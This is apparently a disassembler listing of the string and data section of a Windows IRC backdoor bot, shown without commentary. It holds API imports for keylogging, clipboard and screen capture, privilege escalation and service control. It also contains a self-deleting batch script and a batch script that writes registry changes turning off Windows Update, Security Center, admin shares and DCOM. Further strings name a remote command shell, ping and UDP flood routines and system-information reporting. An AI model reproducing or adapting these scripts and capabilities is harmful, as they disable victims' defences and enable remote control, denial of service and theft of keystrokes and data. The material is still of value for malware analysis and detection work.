aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_4089D6+507o
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_4089D6+4F6o
		align 4
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_4089D6+483o
		align 4
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_4089D6+476o
		align 4
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_4089D6+469o
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_4089D6+45Co
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_4089D6+44Fo
		align 10h
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_4089D6+442o
		align 10h
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_4089D6+435o
		align 4
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_4089D6+428o
		align 4
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_4089D6+420o
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_4089D6:loc_408DE5o
		align 10h
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_4089D6:loc_408DBDo
		align 10h
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_4089D6+38Fo
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_4089D6+382o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_4089D6+375o
		align 4
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_4089D6+368o
		align 4
aControlservice	db 'ControlService',0   ; DATA XREF: sub_4089D6+35Bo
		align 4
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_4089D6+34Eo
		align 4
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_4089D6+341o
		align 4
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_4089D6:loc_408D0Fo
		align 4
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_4089D6+309o
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_4089D6+2FCo
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_4089D6:loc_408CCAo
		align 4
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_4089D6+2ACo
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_4089D6+29Fo
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_4089D6+292o
		align 4
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_4089D6+285o
		align 4
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_4089D6+278o
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_4089D6+270o
		align 4
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_4089D6:loc_408C35o
		align 4
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_4089D6+21Ao
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_4089D6+20Do
		align 4
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_4089D6+200o
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_4089D6:loc_408BCEo
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_4089D6+1A0o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_4089D6+193o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_4089D6+186o
		align 10h
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_4089D6+179o
		align 10h
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_4089D6+16Co
		align 10h
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_4089D6+15Fo
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_4089D6+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_4089D6+14Ao
		align 4
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_4089D6:loc_408B0Bo
					; sub_41E6CE+Do
		align 4
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_4089D6:loc_408ADEo
		align 4
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_4089D6+A0o
		align 4
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_4089D6+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_4089D6+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_4089D6+79o
		align 4
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_4089D6+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_4089D6+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_4089D6+52o
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_4089D6+45o
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_4089D6+38o
		align 4
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_4089D6+2Bo
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_4089D6+23o
		align 4
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_4089D6+Ao
		align 4
dword_4299D4	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_409663+2F2o
		dd 2029206Ch, 2BBBB02h
aDllTestComplet	db '  DLL test complete.',0
		align 4
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_409663+2CCo
		align 4
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_409663+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_409663+264o
		align 4
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_409663+230o
		align 10h
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_409663+1FCo
		align 4
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_409663+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_409663+194o
		align 10h
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_409663+160o
		align 4
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_409663+12Co
		align 4
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_409663+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_409663+C4o
		align 4
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_409663+90o
		align 10h
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_409663+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_409663+28o
		align 4
aSErrorSD_	db '%s Error: %s <%d>.',0
		align 4
aMirc		db 'mIRC',0             ; DATA XREF: sub_409CB1+5o
					; sub_414376+18o
		align 10h
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: seg000:00409D4Fo
		align 10h
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_409DD7+2o
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_409DF9+140o
		align 4
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_409DF9+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_409DF9+48o
		align 4
aCAb3_bat	db 'c:\ab3.bat',0       ; DATA XREF: sub_409F81+29o
		align 4
a@echoOffEchoRe	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_409F81+14o
		db 'Echo REGEDIT4>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT'
		db '\Parameters]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TransportBindName"="">>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Share'
		db 'dAccess]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wuaus'
		db 'erv]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\wscsvc]>>'
		db '%temp%\1.reg',0Dh,0Ah
		db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableDCOM"="N">>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableRemoteConnect"="N">>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]>>'
		db '%temp%\1.reg',0Dh,0Ah
		db 'Echo "restrictanonymous"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Securi'
		db 'tyProviders\SCHANNEL\Protocols\PCT1.0\Server]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Enabled"=hex:00>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanma'
		db 'nserver\parameters]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "AutoShareWks"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "AutoShareServer"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip'
		db '\Parameters]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "NameServer"="">>%temp%\1.reg',0Dh,0Ah
		db 'Echo "ForwardBroadcasts"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "IPEnableRouter"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Domain"="">>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SearchList"="">>%temp%\1.reg',0Dh,0Ah
		db 'Echo "UseDomainNameDevolution"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableICMPRedirect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DeadGWDetectDefault"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DontAddDefaultGatewayDefault"=dword:00000000>>%temp%\1.reg',0Dh
		db 0Ah
		db 'Echo "EnableSecurityFilters"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "AllowUnqualifiedQuery"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "PrioritizeRecordData"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TCP1320Opts"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "KeepAliveTime"=dword:00023280>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "BcastQueryTimeout"=dword:000002ee>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "BcastNameQueryCount"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "CacheTimeout"=dword:0000ea60>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Size/Small/Medium/Large"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "LargeBufferSize"=dword:00001000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SynAckProtect"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "PerformRouterDiscovery"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnablePMTUBHDetect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "FastSendDatagramThreshold "=dword:00000400>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "StandardAddressLength "=dword:00000018>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DefaultReceiveWindow "=dword:00004000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DefaultSendWindow"=dword:00004000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "BufferMultiplier"=dword:00000200>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "PriorityBoost"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "IrpStackSize"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "IgnorePushBitOnReceives"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DisableAddressSharing"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "AllowUserRawAccess"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DisableRawSecurity"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DynamicBacklogGrowthDelta"=dword:00000032>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "FastCopyReceiveThreshold"=dword:00000400>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "LargeBufferListDepth"=dword:0000000a>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxActiveTransmitFileCount"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxFastTransmit"=dword:00000040>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "OverheadChargeGranularity"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SmallBufferListDepth"=dword:00000020>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SmallerBufferSize"=dword:00000080>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TransmitWorker"=dword:00000020>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DNSQueryTimeouts" =hex(7):31,00,00,00,32,00,00,00,32,00,00,'
		db '00,34,00,00,00,38,00,00,00,30,00,00,00,00,00>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DefaultRegistrationTTL"=dword:00000014>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DisableReplaceAddressesInConflicts"=dword:00000000>>%temp%\'
		db '1.reg',0Dh,0Ah
		db 'Echo "DisableReverseAddressRegistrations"=dword:00000001>>%temp%\'
		db '1.reg',0Dh,0Ah
		db 'Echo "UpdateSecurityLevel "=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DisjointNameSpace"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "QueryIpMatching"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "NoNameReleaseOnDemand"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableDeadGWDetect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableFastRouteLookup"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxFreeTcbs"=dword:000007d0>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxHashTableSize"=dword:00000800>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SackOpts"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Tcp1323Opts"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpMaxDupAcks"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpRecvSegmentSize"=dword:00000585>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpSendSegmentSize"=dword:00000585>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpWindowSize"=dword:0007d200>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DefaultTTL"=dword:00000030>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpMaxHalfOpen"=dword:0000004b>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpMaxHalfOpenRetried"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpTimedWaitDelay"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxNormLookupMemory"=dword:00030d40>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "FFPControlFlags"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "FFPFastForwardingCacheSize"=dword:00030d40>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxForwardBufferMemory"=dword:00019df7>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxFreeTWTcbs"=dword:000007d0>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "GlobalMaxTcpWindowSize"=dword:0007d200>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnablePMTUDiscovery"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "ForwardBufferMemory"=dword:00019df7>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersio'
		db 'n\Internet Settings]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxConnectionsPer1_0Server"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxConnectionsPerServer"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'START /WAIT REGEDIT /S %temp%\1.reg',0Dh,0Ah
		db 'DEL %temp%\1.reg',0Dh,0Ah
		db 'DEL %0',0Dh,0Ah,0
		align 10h
unk_42B330	db    2			; DATA XREF: sub_40A077:loc_40A136o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aNotSupportedBy	db '  Not supported by this system.',0
		align 4
unk_42B374	db    2			; DATA XREF: sub_40A077:loc_40A104o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUnableToAlloca	db '  Unable to allocation ARP cache.',0
		align 4
unk_42B3B8	db    2			; DATA XREF: sub_40A077:loc_40A0D0o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aArpCacheIsEmpt	db '  ARP cache is empty.',0
		align 10h
unk_42B3F0	db    2			; DATA XREF: sub_40A077+49o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorGettingAr	db '  Error getting ARP cache: <%d>.',0
		align 4
unk_42B434	db    2			; DATA XREF: seg000:0040A337o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 69h,	6Eh, 67h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFinishedSendin	db '  Finished sending pings to %s.',0
		align 4
unk_42B474	db    2			; DATA XREF: seg000:0040A269o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 69h,	6Eh, 67h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSendingPi	db '  Error sending pings to %s.',0
		align 10h
dword_42B4B0	dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
					; DATA XREF: sub_40A387+1C6o
		dd 2029206Ch, 2BBBB02h
aFinishedSend_0	db '  Finished sending packets to %s.',0
		align 10h
dword_42B4F0	dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
					; DATA XREF: sub_40A387+8Eo
		dd 2029206Ch, 2BBBB02h
aErrorSending_1	db '  Error sending pings to %s.',0
		align 4
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: seg000:0040A638o
		dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
		dd 2029206Ch, 2BBBB02h,	6F432020h, 20646C75h, 20746F6Eh
		dd 64616572h, 74616420h, 72662061h, 70206D6Fh, 63636F72h
		dd 2E737365h, 0A0Dh, 28026502h,	62302E31h, 20282029h, 2E646D63h
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 72502020h, 6563636Fh
		dd 68207373h, 74207361h, 696D7265h, 6574616Eh, 0A0D2E64h
		dd 0
		dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
		dd 2029206Ch, 2BBBB02h
aCouldNotReadDa	db '  Could not read data from proccess',0Dh,0Ah,0
		align 10h
dword_42B600	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: sub_40A7E1+194o
		dd 2029206Ch, 2BBBB02h
aFailedToStartI	db '  Failed to start IO thread, error: <%d>.',0
		align 4
dword_42B648	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: sub_40A7E1+14Co
		dd 2029206Ch, 2BBBB02h
aRemoteCommandP	db '  Remote Command Prompt',0
aCmd_exe	db 'cmd.exe',0          ; DATA XREF: sub_40A7E1+21o
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: sub_40A996+52o
aSysinfoCpuI64u	db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:'
					; DATA XREF: sub_40AAB5+297o
		db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:'
		db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:'
		db ' %s. [Uptime]: %s.',0
		align 4
aDdMmmYyyy	db 'dd:MMM:yyyy',0      ; DATA XREF: sub_40AAB5+192o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_40AAB5:loc_40AC19o
		align 4
word_42B78C	dw 3Fh			; DATA XREF: sub_40AAB5:loc_40ABB7r
					; sub_40C27B+1Fo
		align 10h
dword_42B790	dd 28207325h, 297325hdword_42B798	dd 3F3F3Fh						; seg000:loc_414327o
a2003		db '2003',0             ; DATA XREF: sub_40AAB5+BAo
					; seg002:0042C434o ...
		align 4
aXp		db 'XP',0               ; DATA XREF: sub_40AAB5+AAo
					; seg000:00414312o ...
		align 4
a2k		db '2K',0               ; DATA XREF: sub_40AAB5+98o
					; seg000:00414302o
		align 4
aMe		db 'ME',0               ; DATA XREF: sub_40AAB5+7Eo
					; seg000:004142E9o
		align 10h
a98		db '98',0               ; DATA XREF: sub_40AAB5+6Co
					; seg000:004142D9o
		align 4
aNt		db 'NT',0               ; DATA XREF: sub_40AAB5+5Ao
					; seg000:004142C9o
		align 4
a95		db '95',0               ; DATA XREF: sub_40AAB5+46o
					; seg000:004142BBo
		align 4
aNetinfoTypeSS_	db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0
					; DATA XREF: sub_40AD69+ABo
		align 4
off_42B7FC	dd offset loc_412F4B+3	; DATA XREF: sub_40AD69:loc_40ADDDo
dword_42B800	dd 4E414Ch	dword_42B804	dd 6C616944h, 70752Dhdword_42B80C	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64hunk_42B81C	db    2			; DATA XREF: sub_40AE2F:loc_40AFE8o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToConnec	db 'Failed to connect to HTTP server.',0
		align 10h
unk_42B860	db    2			; DATA XREF: sub_40AE2F:loc_40AFE1o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aCouldNotOpenAC	db 'Could not open a connection.',0
		align 10h
dword_42B8A0	dd 28026502h, 62302E31h, 20282029h, 69736976h, 1F6D2E74h
					; DATA XREF: sub_40AE2F+1A0o
		dd 206C1F64h, 0BB022029h, 202002BBh, 61766E49h,	2064696Ch
		dd 2E4C5255h, 0
unk_42B8D0	db    2			; DATA XREF: sub_40AE2F:loc_40AFC2o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToGetReq	db 'Failed to get requested URL from HTTP server.',0
		align 10h
dword_42B920	dd 28026502h, 62302E31h, 20282029h, 69736976h, 1F6D2E74h
					; DATA XREF: sub_40AE2F+18Co
		dd 206C1F64h, 0BB022029h, 202002BBh, 204C5255h,	69736976h
		dd 2E646574h, 0
dword_42B950	dd 2A2F2Ah	dword_42B954	dd 202E6425h, 3D207325h, 732520hdword_42B960	dd 6C415B2Dh, 20736169h, 7473694Ch, 2D5Dha_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_40B151+60o
		align 4
dword_42B994	dd 2C353103h, 6E653431h, 6230317Ah, 2E320320h, 3103202Eh
					; DATA XREF: sub_40B1F1+1Ao
		dd 6F6C2835h, 32037367h, 3531032Eh, 29646F6Dh, 0BB320320h
		dd 20353103h, 656C4320h, 64657261h, 2Eh
dword_42B9CC	dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
					; DATA XREF: sub_40B263+DCo
		dd 2029206Ch, 2BBBB02h,	694C2020h, 63207473h, 6C706D6Fh
		dd 2E657465h, 0
dword_42B9FC	dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
					; DATA XREF: sub_40B263+3Fo
		dd 2029206Ch, 2BBBB02h,	65422020h, 6E6967h
dword_42BA20	dd 80000002h, 42C228h, 80000002h, 42C258h, 80000001h, 42C290h
					; DATA XREF: sub_40B392+7o
dword_42BA38	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40B392+63o
					; seg000:0040B6A5o
		dd 2029206Ch, 2BBBB02h
aFailedToSendTo	db '  Failed to send to Remote command shell.',0
		align 10h
dword_42BA80	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: seg000:0040B5E0o
		dd 2029206Ch, 2BBBB02h
aFailedToOpenRe	db '  Failed to open remote command shell.',0
		align 4
dword_42BAC4	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: seg000:0040B57Co
					; seg000:0040B7F3o
		dd 2029206Ch, 2BBBB02h
aFailedToOpenSo	db '  Failed to open socket.',0
		align 4
dword_42BAFC	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
